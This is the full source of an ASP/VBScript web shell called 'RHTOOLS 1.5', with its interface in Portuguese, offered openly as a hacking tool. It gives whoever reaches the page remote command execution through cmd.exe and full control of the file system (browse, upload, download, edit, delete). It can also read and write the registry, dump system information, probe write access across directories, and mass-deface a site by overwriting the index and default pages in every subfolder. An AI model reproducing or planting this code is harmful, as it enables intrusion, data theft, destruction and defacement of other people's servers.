<%@ LANGUAGE = VBScript.Encode %> <% On Error Resume Next Server.ScriptTimeOut = 7200 Class FileUploader Public Files Private mcolFormElem Private Sub Class_Initialize() Set Files = Server.CreateObject("Scripting.Dictionary") Set mcolFormElem = Server.CreateObject("Scripting.Dictionary") End Sub Private Sub Class_Terminate() If IsObject(Files) Then Files.RemoveAll() Set Files = Nothing End If If IsObject(mcolFormElem) Then mcolFormElem.RemoveAll() Set mcolFormElem = Nothing End If End Sub Public Property Get Form(sIndex) Form = "" If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex)) End Property Public Default Sub Upload() Dim biData, sInputName Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos Dim nPosFile, nPosBound biData = Request.BinaryRead(Request.TotalBytes) nPosBegin = 1 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) If (nPosEnd-nPosBegin) <= 0 Then Exit Sub vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin) nDataBoundPos = InstrB(1, biData, vDataBounds) Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--")) nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition")) nPos = InstrB(nPos, biData, CByteString("name=")) nPosBegin = nPos + 6 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename=")) nPosBound = InstrB(nPosEnd, biData, vDataBounds) If nPosFile <> 0 And nPosFile < nPosBound Then Dim oUploadFile, sFileName Set oUploadFile = New UploadedFile nPosBegin = nPosFile + 10 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\")) nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:")) nPosBegin = nPos + 14 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) nPosBegin = nPosEnd+4 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin) If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile Else nPos = InstrB(nPos, biData, CByteString(Chr(13))) nPosBegin = nPos + 4 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) End If nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds) Loop End Sub Private Function CByteString(sString) Dim nIndex For nIndex = 1 to Len(sString) CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1))) Next End Function Private Function CWideString(bsString) Dim nIndex CWideString ="" For nIndex = 1 to LenB(bsString) CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1))) Next End Function End Class Class UploadedFile Public ContentType Public FileName Public FileData Public Property Get FileSize() FileSize = LenB(FileData) End Property Public Sub SaveToDisk(sPath) Dim oFS, oFile Dim nIndex If sPath = "" Or FileName = "" Then Exit Sub If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\" Set oFS = Server.CreateObject("Scripting.FileSystemObject") If Not oFS.FolderExists(sPath) Then Exit Sub Set oFile = oFS.CreateTextFile(sPath & FileName, True) For nIndex = 1 to LenB(FileData) oFile.Write Chr(AscB(MidB(FileData,nIndex,1))) Next oFile.Close End Sub Public Sub SaveToDatabase(ByRef oField) If LenB(FileData) = 0 Then Exit Sub If IsObject(oField) Then oField.AppendChunk FileData End If End Sub End Class key = " |337308|1A7023" startcode = "
" endocde = "
" onlinehelp = ".:: ONLINE HELP ::.
" Function DeCryptString(strCryptString) Dim strRAW, arHexCharSet, i, intKey, intOffSet, strRawKey, strHexCrypData strRawKey = Right(strCryptString, Len(strCryptString) - InStr(strCryptString, "|")) intOffSet = Right(strRawKey, Len(strRawKey) - InStr(strRawKey,"|")) intKey = HexConv(Left(strRawKey, InStr(strRawKey, "|") - 1)) - HexConv(intOffSet) strHexCrypData = Left(strCryptString, Len(strCryptString) - (Len(strRawKey) + 1)) arHexCharSet = Split(strHexCrypData, Hex(intKey)) For i=0 to UBound(arHexCharSet) strRAW = strRAW & Chr(HexConv(arHexCharSet(i))/intKey) Next DeCryptString = CStr(strRAW) End Function Function HexConv(hexVar) Dim hxx, hxx_var, multiply IF hexVar <> "" THEN hexVar = UCASE(hexVar) hexVar = StrReverse(hexVar) DIM hx() REDIM hx(LEN(hexVar)) hxx = 0 hxx_var = 0 FOR hxx = 1 TO LEN(hexVar) IF multiply = "" THEN multiply = 1 hx(hxx) = mid(hexVar,hxx,1) hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var multiply = (multiply * 16) NEXT hexVar = hxx_var HexConv = hexVar END IF End Function cprthtml = ".:: RHTOOLS 1.5 BETA(PVT)© BY RHESUS FACTOR - HTTP://WWW.RHESUSFACTOR.CJB.NET ::." Function get_hxno(ghx) If ghx = "A" Then ghx = 10 ElseIf ghx = "B" Then ghx = 11 ElseIf ghx = "C" Then ghx = 12 ElseIf ghx = "D" Then ghx = 13 ElseIf ghx = "E" Then ghx = 14 ElseIf ghx = "F" Then ghx = 15 End If get_hxno = ghx End Function keydec = DeCryptString(key) Function showobj(objpath) showobj = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath)) End Function Function showobjpath(objpath) showobjpath = Left(objpath,InstrRev(objpath,"\")) End Function Function checking(a,b) If CStr(Mid(a,95,13)) <> CStr(Mid(b,95,13)) Then pagina = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) & "?action=error" Response.Redirect(pagina) End If End Function Sub hdr() Response.Write startcode Response.Write keydec Response.Write "
" End Sub Sub showcontent() Response.Write ".:: DRIVES ::.
.:: SCRIPT PATH: " & UCase(Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))) & "
" If Trim(Request.QueryString("raiz")) = "root" Then Set fs=Server.Createobject("Scripting.FileSystemObject") Set drivecollection=fs.drives Response.Write "" For Each drive IN drivecollection str=drive.driveletter & ":" Response.Write "" & UCase(str) & "
" Select Case drive.DriveType Case 0 tipodrive = "Unknown" nomedrive = drive.VolumeName Case 1 tipodrive = "Removable" If drive.isready Then nomedrive = drive.VolumeName Else nomedrive = "" End If Case 2 tipodrive = "Fixed" If drive.isready Then nomedrive = drive.VolumeName Else nomedrive = "" End If Case 3 tipodrive = "Network" If drive.isready Then nomedrive = drive.ShareName Else nomedrive = "" End If Case 4 tipodrive = "CD-Rom" If drive.isready Then nomedrive = drive.VolumeName Else nomedrive = "" End If Case 5 tipodrive = "RAM Disk" If drive.isready Then nomedrive = drive.VolumeName Else nomedrive = "" End If End Select response.write "Tipo: " & tipodrive & "
" response.write "Nome: " & nomedrive & "
" response.write "Sistema de Arquivos: " If drive.isready Then set sp=fs.getdrive(str) response.write sp.filesystem & "
" Else response.write "-
" End If Response.Write "Espaço Livre: " If drive.isready Then freespace = (drive.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB
") Else response.write("-
") End If Response.Write "Espaço Total: " If drive.isready Then totalspace = (drive.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB
") Else response.write("-
") End If Response.Write "
" Next Response.Write "" Set fs = Nothing Set drivecollection = Nothing set sp=Nothing Else If Trim(Request.QueryString("raiz")) = "" Then caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME")) pos = Instr(caminho,"\") pos2 = 1 While pos2 <> 0 If Instr(pos + 1,caminho,"\") <> 0 Then pos = Instr(pos + 1,caminho,"\") Else pos2 = 0 End If Wend raiz = Left(caminho,pos) Else raiz = trim(Request.QueryString("raiz")) & "\" End If Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MonRep = ObjFSO.GetFolder(raiz) Set ColFolders = MonRep.SubFolders Set ColFiles0 = MonRep.Files Response.Write "MASS TEST IN " & UCase(raiz) & "
" Response.Write "MASS DEFACE IN " & UCase(raiz) & "
" Response.Write "UPLOAD FILE TO " & UCase(raiz) & "
" Response.Write "PROMPT - SYS INFO - REGEDIT
" Response.Write "Root Folder: " & raiz & "
" If CInt(Len(raiz) - 1) <> 2 Then barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),"\")) - 1 backlevel = Left(raiz,barrapos) Response.Write "<DIR> . .
" Else Response.Write "<DIR> . .
" End If Response.Write "

" for each folderItem in ColFolders Response.Write "
<DIR> " & showobj(folderItem.path) & " | << PUT
" next Response.Write "

" marcatabela = true for each FilesItem0 in ColFiles0 If marcatabela = true then corfundotabela = " bgcolor=""#EEEEEE""" Else corfundotabela = "" End If Response.Write "
<td" & corfundotabela & ">:: " & showobj(FilesItem0.path) & "
" & FormatNumber(FilesItem0.size/1024, 0) & " Kbytes | o.GET.o | o.REN.o | o.DEL.o | o.VIEW.o | o.EDIT.o | o.DOWNLOAD.o
" marcatabela = NOT marcatabela next Response.Write "

" End If End Sub Select Case Trim(Request.QueryString("action")) Case "get" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp caminho = Replace(Trim(Request.QueryString("path")),"|","\") Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MyFile = ObjFSO.GetFile(caminho) destino = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) MyFile.Copy (destino) If Err.Number = 0 Then Response.Write "
Arquivo: " & caminho & "
copiado para: " & destino End If Case "put" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp If Trim(Request.QueryString("arquivo")) = "" Then caminho = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) varpath = Trim(Request.QueryString("path")) Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MonRep = ObjFSO.GetFolder(caminho) Set ColFolders = MonRep.SubFolders Set ColFiles0 = MonRep.Files Response.Write "Selecione o arquivo:

" for each FilesItem0 in ColFiles0 Response.Write "
:: " & showobj(FilesItem0.path) & " | " & FormatNumber(FilesItem0.size/1024, 0) & " Kbytes | :: SELECIONAR ::
" next Response.Write "

" Else destino = Replace(Trim(Request.QueryString("path")),"|","\") & "\" arquivo = Replace(Trim(Request.QueryString("arquivo")),"|","\") Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MyFile = ObjFSO.GetFile(arquivo) MyFile.Copy (destino) If Err.Number = 0 Then Response.Write "
Arquivo: " & arquivo & "
copiado para: " & destino End If End If Case "del" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp caminho = Replace(Trim(Request.QueryString("path")),"|","\") Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MyFile = ObjFSO.GetFile(caminho) MyFile.Delete If Err.Number = 0 Then Response.Write "
" Response.Write "
Arquivo " & caminho & " apagado
" End If Case "ren" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp If Trim(Request.QueryString("status")) <> "2" Then caminho = Replace(Trim(Request.QueryString("path")),"|","\") arquivo = showobj(caminho) Response.Write "
" & arquivo & "
" & _ "" & _ "" & _ "" & _ "" & _ "Digite o novo nome: " & _ " " & _ "" Else caminho = Replace(Trim(Request.QueryString("path")),"|","\") Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MyFile = ObjFSO.GetFile(caminho) destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.QueryString("newname")) MyFile.Move (destino) If Err.Number = 0 Then Response.Write "
Arquivo: " & caminho & "
renomeado para: " & destino Response.Write "
" End If End If Case "error" Response.Write "
CÓDIGO CORROMPIDO
CORRUPT CODE
" Case "cmd" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.QueryString(".CMD") If (szCMD <> "") Then szTempFile = "c:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If Response.Write "
" If (IsObject(oFile)) Then On Error Resume Next Response.Write "" Response.Write Replace(Replace(Server.HTMLEncode(oFile.ReadAll),VbCrLf,"
")," "," ") oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If Case "info" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp Set WshNetwork = Server.CreateObject("WScript.Network") Set WshShell = Server.CreateObject("WScript.Shell") Set WshEnv = WshShell.Environment("SYSTEM") Response.Write "
" Response.Write "IDENTIFICAÇÃO DE REDE:
" Response.Write "Usuário: " & WshNetwork.UserName & "
" Response.Write "Nome do Computador: " & WshNetwork.ComputerName & "
" Response.Write "Usuário do Domínio: " & WshNetwork.UserDomain & "
" Set Drives = WshNetwork.EnumNetworkDrives For i = 0 to Drives.Count - 1 Response.Write "Drive de Rede (Mapeado): " & Drives.Item(i) & "
" Next Response.Write "
FÍSICO:
" Response.Write "Arquitetura do Processador: " & WshEnv("PROCESSOR_ARCHITECTURE") & "
" Response.Write "Número de Processadores: " & WshEnv("NUMBER_OF_PROCESSORS") & "
" Response.Write "Identificador do Processador: " & WshEnv("PROCESSOR_IDENTIFIER") & "
" Response.Write "Nível do Processador: " & WshEnv("PROCESSOR_LEVEL") & "
" Response.Write "Revisão do Processador: " & WshEnv("PROCESSOR_REVISION") & "
" Response.Write "
LÓGICO:
" Response.Write "IP: " & request.servervariables("LOCAL_ADDR") & "
" Response.Write "Sistema Operacional: " & WshEnv("OS") & "
" Response.Write "Servidor Web: " & request.servervariables("SERVER_SOFTWARE") & "
" Response.Write "Especificação do Command: " & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "
" Response.Write "Caminhos no Path: " & WshEnv("PATH") & "
" Response.Write "Executáveis: " & WshEnv("PATHEXT") & "
" Response.Write "Prompt: " & WshEnv("PROMPT") & "
" Response.Write "System Drive: " & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "
" Response.Write "System Root: " & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "
" Response.Write "Caminho do System32: " & WshShell.CurrentDirectory & "
" Set Drives = Nothing Set WshNetwork = Nothing Set WshShell = Nothing Set WshEnv = Nothing Case "reg" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp Set WshShell = Server.CreateObject("WScript.Shell") Response.Write "Editor de Registro:
" Select Case Trim(Request.QueryString("regaction")) Case "w" If Trim(Request.QueryString("process")) = "yes" Then Select Case Trim(Request.QueryString("type")) Case "1" teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_SZ") Case "2" teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_DWORD") Case "3" teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_BINARY") Case "4" teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_EXPAND_SZ") Case "5" teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_MULTI_SZ") End Select Response.Write "
Registro " Response.Write Trim(Request.QueryString("key")) & " Escrito
" Response.Write "
MENU PRINCIPAL
" Else Response.Write "

ROOT KEY NAME | ABREVIAÇÃO
" Response.Write "
HKEY_CURRENT_USER | HKCU
" Response.Write "
HKEY_LOCAL_MACHINE | HKLM
" Response.Write "
HKEY_CLASSES_ROOT | HKCR
" Response.Write "
HKEY_USERS | HKEY_USERS
" Response.Write "
HKEY_CURRENT_CONFIG | HKEY_CURRENT_CONFIG

" Response.Write "

Tipo | Descrição | Na forma de
" Response.Write "
REG_SZ | string | string
" Response.Write "
REG_DWORD | número | inteiro
" Response.Write "
REG_BINARY | valor binário | VBArray de inteiros
" Response.Write "
REG_EXPAND_SZ | string expandível (ex. ""%windir%\\calc.exe"") | string
" Response.Write "
REG_MULTI_SZ | array de strings | VBArray de strings

" Response.Write "
" Response.Write "

KEY: | ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )
" Response.Write "
VALUE: |
" Response.Write "
TYPE: | " Response.Write "" Response.Write "" Response.Write "
" Response.Write "

" Response.Write "
MENU PRINCIPAL
" End If Case "r" If Trim(Request.QueryString("process")) = "yes" Then Response.Write "" & Trim(Request.QueryString("key")) & "
" Response.Write "Valor: " & WshShell.RegRead (Trim(Request.QueryString("key"))) Else Response.Write "" Response.Write "KEY:
( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )
" Response.Write "" Response.Write "" Response.Write "" Response.Write "" End If Response.Write "
MENU PRINCIPAL
" Case "d" If Trim(Request.QueryString("process")) = "yes" Then teste = WshShell.RegDelete (Trim(Request.QueryString("key"))) Response.Write "Chave " & Trim(Request.QueryString("key")) & " deletada" Else Response.Write "" Response.Write "KEY: ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )
" Response.Write "" Response.Write "" Response.Write "" Response.Write "" End If Response.Write "
MENU PRINCIPAL
" Case Else Response.Write "ESCREVER CHAVE
" Response.Write "LER CHAVE
" Response.Write "DELETAR CHAVE
" End Select Set WshShell = Nothing Case "txtview" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp & "" file = Replace(Trim(Request.QueryString("file")),"|","\") Set fso = CreateObject("Scripting.FileSystemObject") Set a = fso.OpenTextFile(file) Response.Write Replace(Replace(Server.HTMLEncode(a.ReadAll),VbCrLf,"
")," "," ") Set a = Nothing Set fso = Nothing Case "txtedit" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp If Request.Form.Count = 0 Then file = Replace(Trim(Request.QueryString("file")),"|","\") Set fso = CreateObject("Scripting.FileSystemObject") Set a = fso.OpenTextFile(file) Response.Write "" Response.Write "" & Server.HTMLEncode(a.ReadAll) & "
" Response.Write "" Response.Write " " Set a = Nothing Set fso = Nothing Else Select Case Trim(Request.Form("savemethod")) Case "Save" Set fso = CreateObject("Scripting.FileSystemObject") novotexto = Trim(Request.Form("content")) novotexto = Split(novotexto,vbCrLf) Set objstream = fso.OpenTextFile(Replace(Trim(Request.Form("path")),"|","\"),2) For i = 0 To UBound(novotexto) objstream.WriteLine(novotexto(i)) Next objstream.Close Set objstream = Nothing Response.Write "Texto salvo: " & Replace(Trim(Request.Form("path")),"|","\") & "" Case "Save as" Set fso = CreateObject("Scripting.FileSystemObject") novotexto = Trim(Request.Form("content")) novotexto = Split(novotexto,vbCrLf) caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt" Set objstream = fso.CreateTextFile(caminho,true,false) For i = 0 To UBound(novotexto) objstream.WriteLine(novotexto(i)) Next objstream.Close Set objstream = Nothing Response.Write "" Response.Write "
" Response.Write "" Response.Write "" Case Else caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt" Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MyFile = ObjFSO.GetFile(caminho) destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.Form("filename")) MyFile.Move (destino) If Err.Number = 0 Then Response.Write "
Arquivo: " & destino & " salvo!" Response.Write "
" End If End Select End If Case "download" Response.Buffer = True Response.Clear strFileName = Replace(Trim(Request.QueryString("file")),"|","\") strFile = Right(strFileName, Len(strFileName) - InStrRev(strFileName,"\")) strFileType = Request.QueryString("type") if strFileType = "" then strFileType = "application/download" Set fso = Server.CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(strFilename) intFilelength = f.size Set f = Nothing Set fso = Nothing Response.AddHeader "Content-Disposition", "attachment; filename=" & strFile Response.AddHeader "Content-Length", intFilelength Response.Charset = "UTF-8" Response.ContentType = strFileType Set Stream = Server.CreateObject("ADODB.Stream") Stream.Open Stream.type = 1 Stream.LoadFromFile strFileName Response.BinaryWrite Stream.Read Response.Flush Stream.Close Set Stream = Nothing Case "upload" If Request.QueryString("processupload") <> "yes" Then Response.Write "" Response.Write "

" Response.Write "
Select a file to upload:
" Response.Write "
" Response.Write "

" Else Set Uploader = New FileUploader Uploader.Upload() If Uploader.Files.Count = 0 Then Response.Write "File(s) not uploaded." Else For Each File In Uploader.Files.Items File.SaveToDisk Replace(Trim(Request.QueryString("path")),"|","\") Response.Write "File Uploaded: " & File.FileName & "
" Response.Write "Size: " & File.FileSize & " bytes
" Response.Write "Type: " & File.ContentType & "
" Response.Write "
" Next End If End If Case "mass" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo) On Error Resume Next Set MonRep = ObjFSO.GetFolder(caminhodomass) Set ColFolders = MonRep.SubFolders for each folderItem in ColFolders destino1 = folderItem.path & "\index.htm" destino2 = folderItem.path & "\index.html" destino3 = folderItem.path & "\index.asp" destino4 = folderItem.path & "\index.cfm" destino5 = folderItem.path & "\index.php" destino6 = folderItem.path & "\default.htm" destino7 = folderItem.path & "\default.html" destino8 = folderItem.path & "\default.asp" destino9 = folderItem.path & "\default.cfm" destino10 = folderItem.path & "\default.php" MeuArquivo.Copy(destino1) MeuArquivo.Copy(destino2) MeuArquivo.Copy(destino3) MeuArquivo.Copy(destino4) MeuArquivo.Copy(destino5) MeuArquivo.Copy(destino6) MeuArquivo.Copy(destino7) MeuArquivo.Copy(destino8) MeuArquivo.Copy(destino9) MeuArquivo.Copy(destino10) Response.Write "

" If Err.Number = 0 Then Response.Write "
<DIR> " & folderItem.path & " | DONE!
" Else Response.Write "
" & UCase(Err.Description) & "

" End If Err.Number = 0 Response.Flush If metodo = "brute" Then Call themassdeface(folderItem.path & "\","brute",ObjFSO,MeuArquivo) End If next End Sub Sub brutemass(caminho,massaction) If massaction = "test" Then On Error Resume Next Set MonRep = ObjFSO.GetFolder(caminho) Set ColFolders = MonRep.SubFolders Set ColFiles0 = MonRep.Files for each folderItem in ColFolders Set TotalFolders = ObjFSO.GetFolder(folderItem.path) Set EachFolder = TotalFolders.SubFolders Response.Write "

" maindestino = folderItem.path & "\" MeuArquivo.Copy(maindestino) Response.Write "
" If Err.Number = 0 Then Response.Write "
<DIR> " & maindestino & " | Acesso Permitido
" Else Response.Write "
" End If Err.Number = 0 Response.Flush If EachFolder.count > 0 Then masscontador = 0 for each subpasta in EachFolder masscontador = masscontador + 1 destino = subpasta.path & "\" If masscontador = 1 Then destinofinal = destino pathfinal = subpasta.path Err.Number = 0 MeuArquivo.Copy(destinofinal) Response.Write "
" & UCase(Err.Description) & "
" If Err.Number = 0 Then Response.Write "
<DIR> " & showobj(pathfinal) & " | Acesso Permitido
" Else Response.Write "
" End If Err.Number = 0 Response.Flush Else MeuArquivo.Copy(destino) Response.Write "
" & UCase(Err.Description) & "
" If Err.Number = 0 Then Response.Write "
<DIR> " & showobj(subpasta.path) & " | Acesso Permitido
" Else Response.Write "
" End If Err.Number = 0 Response.Flush End If next masscontador = 0 End If Response.Write "
" & UCase(Err.Description) & "

" Call brutemass(folderItem.path & "\","test") next Set MonRep = Nothing Set ColFolders = Nothing Set ColFiles0 = Nothing Else If Request.Form.Count = 0 Then Response.Write "
Brute: copia os arquivos do deface para todas as pastas e subpastas (todos os níveis) do diretório escolhido (mais demorado). O tempo do deface vai variar de acordo com o numero TOTAL de diretórios.
" Response.Write "Single: copia os arquivos do deface apenas para as pastas (primeiro nível) do diretório escolhido. Não inclui subpastas.
" Response.Write "" Response.Write "" Response.Write "
Insira o código:
" Response.Write "
" Response.Write "Brute " Response.Write "Single
" Response.Write "
" Response.Write "" Else Set ObjFSO = CreateObject("Scripting.FileSystemObject") patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) arquivomassdfc = patharquivotxt & "teste.txt" Set Arquivotxt = ObjFso.OpenTextFile(arquivomassdfc, 2, True, False) vetordelinhas = Split(Request.Form("content"),VbCrLf) For i = 0 To UBound(vetordelinhas) Arquivotxt.WriteLine(vetordelinhas(i)) Next Set MeuArquivo = ObjFSO.GetFile(arquivomassdfc) If Request.Form("massopt") = "single" Then Call themassdeface(caminho,"single",ObjFSO,MeuArquivo) ElseIf Request.Form("massopt") = "brute" Then Call themassdeface(caminho,"brute",ObjFSO,MeuArquivo) End If End If End If End Sub If Trim(Request.QueryString("massact")) = "test" Then Set ObjFSO = CreateObject("Scripting.FileSystemObject") patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) arquivo = patharquivotxt & "_vti_cnf.log" Set Arquivotxt = ObjFSO.CreateTextFile(arquivo,True) Set MeuArquivo = ObjFSO.GetFile(arquivo) Call brutemass(Replace(Trim(Request.QueryString("path")),"|","\"),"test") ElseIf Trim(Request.QueryString("massact")) = "dfc" Then Call brutemass(Replace(Trim(Request.Form("path")),"|","\"),"dfc") End If Case Else checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp Call showcontent() End Select If Err.Number <> 0 Then Response.Write "
ERRO: " & Err.Number & "
" & UCase(Err.Description) & "
Acesse o ONLINE HELP para a explicação do erro" End If Response.Write endcode %>